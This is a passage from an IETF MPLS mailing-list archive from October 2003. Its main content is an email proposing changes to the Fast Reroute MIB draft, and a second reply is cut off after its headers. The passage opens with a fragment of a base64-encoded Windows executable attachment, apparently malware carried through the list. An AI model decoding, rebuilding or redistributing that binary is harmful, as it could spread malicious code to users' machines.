nrvRLEgMBTJmD/aWNWCy5DBr8BjKkiJ5keG9YATqXGldEl+LnMgRsF5iNpxRzZ5kQV1cGJmZmw6I
kGPp5p0KTz4MYvt7SC55DNgBUWLvWTmTjaOkEHpQC/0fDek/SZw4CzhojLT+AJX9BHP10FRxsoQO
koVKiftimn7wJ0bZvOe+lH5oFeHpSniE5JFKh46b3M7M5U5AtE8IKVSoF39wX5wq3+wBqJc7oPZi
22sLgklhg57j5NITdo4wWbSQzLk07OSdE57fWjo0EyTG5VmM5Wh6fe5+2kFekUofHxs4yi/bX+Po
yXYG9uXDbABS65SWnXleQuJ2SilFq5VOjGPyADMeK4+eBws0kS+IZVfK+F4WmQhc7l6G/3H4zBjw
eqLWeNzsRC3IOZRtXAG480kIB2TNU8LNMUVbfeVKdHmmQ/Egi569hS4nEgwJg8A9sVbrHw2JZBxK
Lr52jFHnQ9brZGP2a9UrRaj4Z2A/gBcB4aTekm8KV5OxCj9CPY9i2IA+61DicszWIU7IfeOoss88
9orgLBRXtp4pXlJJSWDLp7xqFdxKszWPVFJNgnTrFt/qTJsrIZ+8FMXDAlLGCIzzQ8dHZJomtTsL
EIpmjCxm0DMZt4mijZPQAglmvV961DVC1G31w8C+hi4jgqMus6Fem38c5SgC/M5tIS75myNWz8R1
BYLXpCymkp42XooDWePMlGwER8/rlT+uVtdQly/31ipJdNvGz6+ng/WwDg2Iq5gVYlkuy518RTJw
cV9bvZjymwz6EXiOTcwcMF+zO7A+1t3qaANyeEmsOhR9MT3fdd5ENQhK3ZHqUjN8ns7q49ABg21L
K9RLKkhntJQHYecONDP1OaoVyyJ94z2o5UgmjrMu2+8RaOOZq840sADNfajUEimIgGefQB3af6pP
32EWnHDSgu4njh2MOlYPtaUcIbFmeJu/5ZYiov2TH4wCVaCcCAv/kU7wUWfKG6JulY7IYlv6v4A0
U+Z9aYVWnZkOufMx3KHxebiS1HdsF2LeAWHktkMqcOowNr4b5HhNBgqJdVYUnzBgOj9y81rqjjN6
0BaIa54kbHh9UOScFCOcpCmGk6tkR1r/3VsPrXB4iLsouyteybDGOzWoD3vcqXMBfkOe0gtG+DPQ
uYNMeiL6oYqLdgQrSEaFnt2XCBLObY3zERDQp+8Eq/vpuVrwWiOEstHWJqiccuWwTEP5erC5NiOe
7mW3TCJqP2JRUCXbRLNGLpu4KjahNtHHyT0WOMFbazVWGiDGjF1CvV3LZ42V5ZrVgHGD7ld2sDCq
0HC5MZKMbUkD+eHGCkShXfut6C4QObB3bTEbxP3Iwjw9lAXgmMAAf7iwBSYlub8ABgk2gQBLeFFN
oW+qEsl3rcrhQcx5FWFAG5LSJBnBQuZs2E0dtp+CF389bl/HeI7CqN9tCCvjdLjVqHrb1h7RNZ+r
AmRa2JXxj0idCvYAIQZ8K5u0KeFGlxlzxpwc5JEb2pKt4d8sFCtv6Pxlrtj8fqwWFJNe7G65+1K/
UQtRYq7DTb0lBptr9jEN58/EJQhv4SLX/OMOWgIekj3IEo+9zwR6FJeE0XdJbvkUMwNq9orq2/ox
FJbdfzuHUmlNKGVQUwwvCrQshM5N+0H5PexTRlEVWxPf3u8dIhP/QXNruJjXLDy7uWHkeURyRUeJ
XxOb1G9LRHLptyzCCnEfrU8TyQPbrzYFGTtPDdbaFEX/GnDA3Tifw3xxDgWBwKxJiVKgP0wwEHdp
sNu0OxJvhU17rPZmKQBrUbTHffAGwkrvTLKdNewv1zp47K+y81hRWiEt6I+9A20BSUeEDTc6rt91
wFl8YBZWwrm2hfRexRDm6Oax/ZT7RuV3Sfufg0AriS7/+3SZceL1xBsUBdRmSq2DlGmr7eLEyfdq
puNiID+xhsBtDmSQIZCJmnOv3/X266ZYAMqj37MKqjoO8bgpX5EE5FPzUV/KXP4HdmZo3yVu44vl
GP5EL3VuCBJeTGGLZuBSlk11EyPYSN/TmU4AYjJL4tTidR+4r5lHtJYovFHLaKnp7Uy5Zd9xPPy9
OciVGKFjoz4qOEWvSVHwvgU/T5CJFCBpqrJboDN/4O0ZnBw0PBcwfcAy23SRLMAlSc6QCzN3PoX/
S6UQFM1JI9UWN679hQFe/kQ4MfFOccNEIpcENQ0cDcok3trrYuPCTOPtYZm7hTqaygH/93qXgMLr
JaDu0QQLp2RgLP5Mq2Jm48rlVkrAqCOkWdgFU0LctqOD8K1mk1GfD8BT2jNug9x+5b1hK7rysF2d
78Czw0rH8pMvFZ8ZBbqLcBqs+9A9Vz52d7vJq7qnbivWi9t/hpFqdr38h0VTg1U2n5pi/K1uFa47
bkqqj5LsL2Ocz3eMO9ELCxdjMMvk0HALe19ZdlZ1ew5ZTSCk7BvnEzmTZ96yY60TZIrktCEn4DaP
tGUsaEaYSH5SAitZOPot7JfnOIN9xuUkMba7/kqwHqdGK+96ByqnXC9J25XLqZQZQHv9AgHDKDlg
RjXPZKlR/w63CL0EfFIQsX1xblE9fBdnALFOXnf7S9GB8Ru2PtzB8ga9KHNKFwQXa50CWQCBSP6Y
oZW/wu90NbYFQr+Go+CB+f1zylNjxcFT0IPbBGDKRjLrrgmV+GrlTcNXjoc9/+e2rsWKmjh0PWcr
yIbjMxOuaotJ0oecfBHjnqIVZqZKmLVJrcSiDoM3ARVjuzM8sN47wmils3uRiuUup3C69h9Cespv
w5sAsMwtMY4CIWBiHspsVKT7XjOorxS/MlkA09gVUawPtoFlDMBHAgbdnAeoyCPKAdoeBZKYmHAp
RwlqEEkIwVfZ8JWTPWnN3z6iea8wcJgI94E9+FSQOxCML0+b4+v7PX3ekuqLT1jFyLfzGg7P7IhX
HTzQ/+j2qI1FGpzu3MOVUHGtm+FL/T8MIHVO5X9ihZksNVmazciH90EXjBe+jsOLE3jtl3uoc76D
MiuZRjT4qAlvkdC8K8GINWSA80vLz/+AAXZOEozfEghFaDqGZpnG91MUt6sqKwieKR9D+I3cPmIi
rz3c6549BI2Zv9qlsky3Ruw5Wu3WUsMIVHDsxTCdTRHaIVfYyXgiQ+tK7F9M2PDXcJaoiLdtSvJ6
IzWcjZY/3jyWi+7iX9bQ9kFvthgqM+8TAITVtyQVO1ssue74tCRRxzlFg+rcmUExVyxOjF45vEzs
QD99zhZTsUXl/M36cA6AwkDiE96nvO2+/KLS6+oUfzCTUeA4JIUiIqq/I7EgEZhAaVNCsoUreztF
sdVeQypVDFQ2tT5iGW2j7GqAOnz5hKId2kBIdJu7k0tVAT8N/BdwJwVn1PggVp3Oq+dZwAe265Nk
p+QbwLuL+bIEq0rdOWRzktx231eu9fBVOqTghe2F06NhruiRi5acPuq+2j42ducBv+hQ12P7vB8P
VxWI+s3z7cQ3KYqigEC7cydIqrJu1f13yvOEbdZqpL0059qjTzPOjVv+hF5U3Gk/5zm8sRMpQyca
O3CM4dSmDP1//eDBX6BfM+RpamltgqnLs/yVfL7LorJCjrN6twTObzfvYaz9UYqVCnEJJKs2Ipei
3hGvR/S0RV4P4H26wof1TyOqwT2NxYcD2uMoSAgnTqRL1WV/603+/0WMJ+Y2HB790b61agtDiq7K
Wm9AS0K5ZTFpn7gweqAdohASTjU+AVhHHy16t5Fstc7NzerDrPcg21B+PxjCxTGifjVyjBAcXobs
W4dG8/ZEQRjSYlBseWPTScuMMK0S6l2vysJN31JVQpVq/rE9TYv27pNsq30vCQ9c23MudyykqExV
rq82OGjdxQBMLfE8XqXr+vbLFSSuls+WmD8y6JzC5bphJSzkmp0KLYBl9bfJO4cA1Av0qqb/uPwU
4FVG/MMZpjTnsePIEdmc2s1uW/hoz01rVdLMvPCvJmG3LsVYKEWql38UysyK5y59gOyXX7R+vp3s
PVqNduglloU8CJHhvu7bfLVubzC4NoIbQdAy0ujCi08jx3PHHZou9bM2RpHZIpztipCecwj6Mzne
w0r2fl0sytnTjATk2QWsZyTMHGe3eqIq/OENtkzuKXPh/tYD4oEuvpOhtcmT+RwjOnlkXAmG2ehc
JOQDdEuxXFSKR5wvhn8iEg5BJAs+kE1Ir5ZDz7YhMBKyVNrvBT5hPKP9z27oeLERVkZamxq0RyNH
wl1CIuyB1BKwioz48nxKPi5VPisevx6zcWNbEt6E4GgYDwj+WB5aPSvXOhq0OGrEMw1BUveNsWwg
zM/STMjT70QPwVZ25I1sQbI9FAidF9SQ4mehdbt3kCz44UNrm7B+bQta9dM0yOQf9dssBDV7Vr/b
AgVldPuEXOQkaJbOKzEtYTufM6gXx4D4Kfy4NgkbgJIVchul0eeQgdUIRWUBCEXt0iFYYm5C3r4l
e0NF+90FEOVCZJrjBOMUq0Ey1BIcUPdx0akQG/0+F2gy/X1Lnvc6R1R7YeYKyLk5pcDMGCC27AAc
OVpSQ4/SXQS27HWeqYjxsE71NjJyZ68ezh9qa51Nv0vKW6ie6Ws64+kpejCCaIKtJcHutJYjEF5j
m8Gy/tUjKaXEGzLRsmD/ZGspI8HyYcKftXHJCQuXc3vT8TEuhOVorzkrk7YDgUOxroNXHIZKRQiA
i+xT7U7X6btm9t2Zwa0c46n+q7oe0wxL69LXXMI+UaenHoiN5DVe08GMhSsWSQig386adkM2UDKR
jkXDjw5bvGY63fZjXlTbLq13kVSYiAsB0eyeQUH9ZMCH7ON/ufyt1/L4JWqPzH38uxZ8wN0HvxJF
NquvVx83ciZjjckS+W3jEVLe6rq33XUQ98epzAKPt074dY0kFx5pA/fqrG9AKaTdmLO7ot9KCXTE
01pelgFB3ouhe+0f+CnoaUfIfFZJBhyI9ITW/HErGW2o9YOrl7vba80Ny9EE1mgIPvF3C3DwawPQ
QDNZBsCJIrH6iLrYBNv492Imy0otN8Cx4xUbZllHwEuZHTC7S6T4cwIPIcHgjOsBuOsBcIvF9esP
6EABAAD4cwIPISUtgaYn6DoAAADgDDyqytQgRs55TgKuPgJWDR7p6U52V/4E8Wb/AGZeoRQpthN7
AUnu2EP9U3gmV/UP+IdiKNUWYdb46wFwYOgGAAAAi2QkCOsNK8lk/zFkiSHx9/Hr6PhzAg+IG8S+
AAAAAGSPBl7rAbgbxWDoBgAAAItkJAjrGmRn/zYAAGRniSYAAJyBDCQAAQAAnfhz3M0gZGePBgAA
WGHrAv8g9TPG6AAAAADrAs0giwwkWIHpWRRBAIXkeQMPkUKpnAWgLLhaFjY6i9CB6qYC9TnrAbgb
wpgD0bisHuc5i/CB7p8e5zmF5HkDD5FCu+OEXxeF5HkDD5FCI8boBwAAACvG6QcAAAAzw5DDwch4
kPlr20kxGsHDBfiD0yOWSJbrAv8gi8MF4oopSJPrAXBA6AsAAAD5G8TpBwAAAPlz9wvGw0DB4FRC
QkJC+HMCDyFIUYvO4wNZ67dZ6wL/IDPEmGH5cgEMA8XDBIrSQNOAFsvjZZzPeIFSe/YLzbVYn3iX
/s2DUaGdiYEwiPI2TvImgo9DEgzx9SrCn/a9C1KYu5kcXeYCuhpkfMhPbJXdY2p9RBNjXH3LccxT
RFjpAkoRZR6nQevyQwQIH+gW1LqN5MCWB+UgqjxJpFW0FfJxyJnkUWHK7XEW7mn3Z8rLZsiTNIgR
ogC9p0nDDMMjFjrejCvF7ndRZllYx6QNr1a6eRSz6AAAAACBLCQ3AgAA/2QkBAD56SXk//8AAAAL
ALDtHuwBAAAAAAAAAAAAPuwBAC7sAQAm7AEAAAAAAAAAAABL7AEANuwBAAAAAAAAAAAAAAAAAAAA
AAAAAAAAVuwBAAAAAABp7AEAAAAAAFbsAQAAAAAAaewBAAAAAABrZXJuZWwzMi5kbGwAdXNlcjMy
LmRsbAAAAEdldE1vZHVsZUhhbmRsZUEAAABNZXNzYWdlQm94QQAAAAAAAAAAAAAAAAgAAAAAALzt
AQDi7QEA+e0BADzuAQBX7gEAfO4BAJHuAQAO7wEAAAAAAAAAAAAQggEAAAAAAAAAAAAA0AEAAAAA
AAAAQAAAAAAAAAAAAAAAAAAAAAAAT+yE3liXBBD/xc4JRM8xHFDbjy+l73KPnaMqUx5EfXVMn2y8
+KNTr61CBy4puQgtxJae/S3r+e7goiAl3J4f1m2nxUGlEzpWJibT5imHdv1DeNTii3hIIK1ugdjr
xxNPHnRENHfN01CsM1NeHtPZa8ww/o2gNI9PZFSaAe5KWq8at+LSNCO3Gm5Mnlxu7WDkPyvl+Hj9
GngVnna6YEsTGiZedZh+iBNouGebOepQQ+SC3RIZ3gbMJqjz0S+F6z7tAAAAAAAAAAAAAAAA7tZq
KQAAAAAAAAAAAAAAAAAAAAAAAAAAmcgFn5HIkidQo0mUK1izaNOpVKtYs2nUq1m1bNu5de3cunfw
48jbSSTGO/pKNJMkvMgwziqTLKbZNsdN2+0dhK+aJ4KMr+BGPYMt+04rkwa83XTZLd1Ju8V52A24
0RyDuclXh4q8+gcxwD39XT2TG6raIM41kw2xySzSC77LVO2ZyAWfkejlTznPLLRHN9IMusczizmT
LZjneLUpqcsan/zNH5mPrbJLP8Ao4EI21EiyiRDnFJMPocU6wQW011TtmN8Un4644EIj0CD7RXjW
GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV
Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1
1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAD8AwAAWEMwMDE4MTVk
--_NextPart_000_0141A7AD--



From owner-mpls@UU.NET  Fri Oct 10 08:13:34 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA23357
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 08:13:33 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjum27585
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 12:13:38 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjum27487;
	Fri, 10 Oct 2003 12:13:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjul16838
	for mpls-outgoing; Fri, 10 Oct 2003 11:46:50 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjul16833
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 11:46:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjuj19382
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:20:41 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjuj09197
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:20:41 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjuj09170
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:20:40 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.6/8.12.6) with ESMTP id h9ABKbYb026507
	for <mpls@uu.net>; Fri, 10 Oct 2003 04:20:37 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADA84712;
	Fri, 10 Oct 2003 07:20:35 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9ABKZn16077 for mpls@uu.net; Fri, 10 Oct 2003 07:20:35 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjuj14581
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 11:19:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjuj19115
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:16:09 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjuj28559
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:16:08 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQpjuj28535
	for <mpls@uu.net>; Fri, 10 Oct 2003 11:16:07 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <4FS0XZ3Q>; Fri, 10 Oct 2003 12:15:56 +0100
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F8028706D2@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'riza.cetin@alcatel.be'"
	 <riza.cetin@alcatel.be>,
        "'jvasseur@cisco.com'" <jvasseur@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Suggested improvements to the Fast Reroute MIB definition in 
	draft-ietf-mpls-fastreroute-mib-01
Date: Fri, 10 Oct 2003 12:15:52 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi all,

I've not had any further discussion on this for a while.  This is a summary
of what I'm suggesting, taking into account the points people have made, and
what we've already resolved.  Please get back to me with any disagreement or
new arguments.

Thanks,

Nic


Agreed corrections to the draft
===============================

1.  Reflect in the description of the mplsFrrConstHopLimit field that the
information is not available at transit detour nodes.  Suggested text:

      DESCRIPTION
        "The maximum number of hops that the detour LSP may traverse.
         This field is not relevant and should be ignored if this 
         entry in the mplsFrrConstTable is being used in the context
         of representing a detour LSP."

2.  Typo: change mplsFrrConstExclAllAffinity to mplsFrrConstExclAnyAffinity.

3.  In section 5.3, change "mplsFrrDetourXCPointer" to
"mplsTunnelXCPointer".  In the DESCRIPTION of mplsFrrDetourActive, change
"mplsFrrDetourRole" to "mplsTunnelRole".

Outstanding suggested changes
=============================

1.  The mplsFrrConstTable should be a common table for both facility and
detour backup.  Currently it is defined to show "detour setup constraints".
However, the fields map precisely to those in the RSVP FAST_REROUTE object
and the FRR draft specifies that the FAST_REROUTE object applies equally to
both facility and detour backup.  Thus the table is required equally for
facilty and detour backup.

2.  The mplsFrrConstProtectionMethod should be a field in the
mplsFrrConstTable, not a scalar.  The FRR draft allows an LSR to
simulateously support LSPs using both facility and detour backup.  This is
likely to happen in real world networks, in particular when a network is
being migrated from one protection type to another.  Hence the protection
method needs to be configurable/reportable per-LSP, not just per-LSR.  I
suggest the follow text for the MIB.

   mplsFrrConstProtectionMethod OBJECT-TYPE
      SYNTAX        INTEGER { oneToOneBackup(0),
                              facilityBackup(1)
                            }
      MAX-ACCESS    read-write
      STATUS        current
      DESCRIPTION
        "Indicates which protection method is to be used for fast
         reroute."
      ::= { mplsFrrConstEntry 4 }

3.  The indexing of the mplsFrrConstTable needs fixing.  The current three
indicies (interface index, tunnel index and tunnel instance) are
insufficient.  For example, two protected LSPs could meet at a transit node,
both with different ingress and egress but the same values for each of the
existing mplsFrrConstTable indices.  If those protected LSPs have a
different value for, say, the mplsFrrConstSetupPrio then they need different
entries in the mplsFrrConstTable.

Rather than adjusting the current indexing, I suggest replacing the three
existing indices with a single integer index, mplsFrrConstIndex.  This index
can then be referenced from the mplsTunnelTable, establishing a simple
indexing system with clear relationships between the tables (which is also
in line with existing relationships between tables in the TE-MIB and
LSR-MIB).

Briefly, this would require the following.
- New mplsFrrConstIndex field in the mplsFrrConstTable, replacing the three
existing indices.
- New mplsFrrTunnelFrrConstIndex/Pointer field in the mplsTunnelTable,
pointing to the mplsFrrConstTable entry for this tunnel.

Some full suggested text follows.

For the mplsFrrConstTable:

   MplsFrrConstIndex ::= TEXTUAL-CONVENTION
      STATUS        current
      DESCRIPTION
        "Index into mplsFrrConstTable."
      SYNTAX  Integer32 (1..65535)

   mplsFrrConstIndex OBJECT-TYPE
      SYNTAX        MplsFrrConstIndex
      MAX-ACCESS    not-accessible
      STATUS        current
      DESCRIPTION
           "Uniquely identifies this row."
      ::= { mplsFrrConstEntry 1 }

For the mplsTunnelTable:

   -- MPLS Fast Reroute Tunnel Table

   mplsFrrTunnelTable            OBJECT-TYPE
      SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
      MAX-ACCESS                 not-accessible
      STATUS                     current
      DESCRIPTION
         "This table extends the mplsTunnelTable defined in the
          MPLS-TE MIB to provide Fast Reroute configuration."
      ::= { mplsFrrGeneralObjects 1 }

   mplsFrrTunnelEntry            OBJECT-TYPE
      SYNTAX                     MplsFrrTunnelEntry
      MAX-ACCESS                 not-accessible
      STATUS                     current
      DESCRIPTION
         "This entry provides Fast Reroute configuration for the
          tunnel."
      AUGMENTS { mplsTunnelEntry }
      ::= {mplsFrrTunnelTable 1}

   MplsFrrTunnelEntry ::= SEQUENCE {
      mplsFrrTunnelFrrConstPointer      RowPointer
   }

   mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
      SYNTAX                      RowPointer
      MAX-ACCESS                  read-create
      STATUS                      current
      DESCRIPTION
           "This variable represents a pointer to the Fast Reroute 
             parameter specification for this tunnel.  This value may 
             point at an entry in the mplsFrrConstTable to indicate 
             which mplsFrrConstEntry is to be assigned to this LSP 
             instance.  This value may optionally point at an 
             externally defined Fast Reroute parameter specification 
             table.  A value of zeroDotZero indicates default Fast 
             Reroute parameters if the fastReroute bit in the 
             mplsTunnelSessionAttributes is set, and otherwise no Fast 
             Reroute protection."
      DEFVAL        { zeroDotZero }
      ::= { mplsFrrTunnelEntry 1 }

   END



From owner-mpls@UU.NET  Fri Oct 10 09:49:01 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27954
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 09:48:59 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjut16217
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 13:49:05 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjut15835;
	Fri, 10 Oct 2003 13:48:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjus05259
	for mpls-outgoing; Fri, 10 Oct 2003 13:34:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjus05254
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 13:34:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjuq06557
	for <mpls@UU.NET>; Fri, 10 Oct 2003 13:06:30 GMT
From: riza.cetin@alcatel.be
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjuq28904
	for <mpls@UU.NET>; Fri, 10 Oct 2003 13:06:29 GMT
Received: from relay4.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc245.alcatel.be [195.207.101.245])
	id QQpjuq28876
	for <mpls@UU.NET>; Fri, 10 Oct 2003 13:06:27 GMT
Received: from Bemail06.net.alcatel.be (bemail06.net.alcatel.be [138.203.144.83])
	by relay4.alcatel.be (8.12.10/8.12.9) with ESMTP id h9AD6Ku5009679;
	Fri, 10 Oct 2003 15:06:20 +0200
Received: from alcatel.be ([138.203.191.132])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.11)
          with ESMTP id 2003101015061855:3797 ;
          Fri, 10 Oct 2003 15:06:18 +0200 
Message-ID: <3F86AECA.5DB778A5@alcatel.be>
Date: Fri, 10 Oct 2003 15:06:18 +0200
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Nic Neate <Nic.Neate@dataconnection.com>
